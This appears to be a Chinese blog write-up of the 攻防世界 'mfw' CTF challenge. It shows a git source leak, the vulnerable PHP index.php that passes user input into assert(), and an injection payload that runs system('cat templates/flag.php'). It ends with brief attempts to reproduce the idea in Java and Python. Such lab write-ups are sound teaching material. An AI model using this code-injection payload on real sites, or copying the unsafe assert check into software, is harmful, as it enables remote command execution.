开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> 网络协议 -> 攻防世界-mfw -> 正文阅读

[网络协议]攻防世界-mfw

文章目录

总结：

打开网页显示：

点一下上放链接以及查看源代码发现：

这就直接确定可能存在 git 泄露了，直接使用 githack 工具进行获取源代码。

获取到源代码后，对代码进行进行审计后发现，唯一可以利用的点在 index.php 中：
进行代码审计：

<?php

if (isset($_GET['page'])) {  # 传入 GET 参数 page
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li 
							<?php 
								if ($page == "contact") { 
									?>class="active"<?php }
							 ?>>
							 <a href="?page=contact">Contact</a>
						</li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

经过初步审计后，我产生的思想是直接输入下面链接：

http://61.147.171.105:63924/?page=flag

很明显死的很惨，然后就发现源代码中将其注释了，然后我也不知道哪里可以使用了，就很懵，然后看 wp 才发现
我们可以发现在代码中存在两处断言：
```
// I heard '..' is dangerous!
	assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
	
	// TODO: Make this look nice
	assert("file_exists('$file')") or die("That file doesn't exist!");
```
刚开始审计的时候我完全没有想到这里可以利用，这里利用的是 assert() 断言，它可以将参数作为代码来执行。

构建的 payload:

?page=abc’) or system(“cat templates/flag.php”);//
查看源代码就可以找到 flag 了。
解释：
说实话可能大家会很懵逼，说这怎么能利用呢？这不符合常理啊？但是转念一想这和 SQL 注入是不是很相似啊，当我们在使用上述传参后，我们的代码执行就会变为：

assert(“strpos(‘templates/?page=abc’) or system(“cat templates/flag.php”);//.php’, ‘…’) === false”)

说实话这是很有趣的
验证：
在 PHP 发现后，我想的是在 JAVA 和 Python 中是不是也存在这样的事情？

JAVA 验证：

很遗憾，JAVA 不愧是最安全的，这个方法没法用（在我看来）

Python 验证：
```
# -*- coding:utf-8 -*-

import os

a = input("请输入文件名称：")
print(a)
assert  os.path.exists(a),"这是假的"
print("结束")
```
失败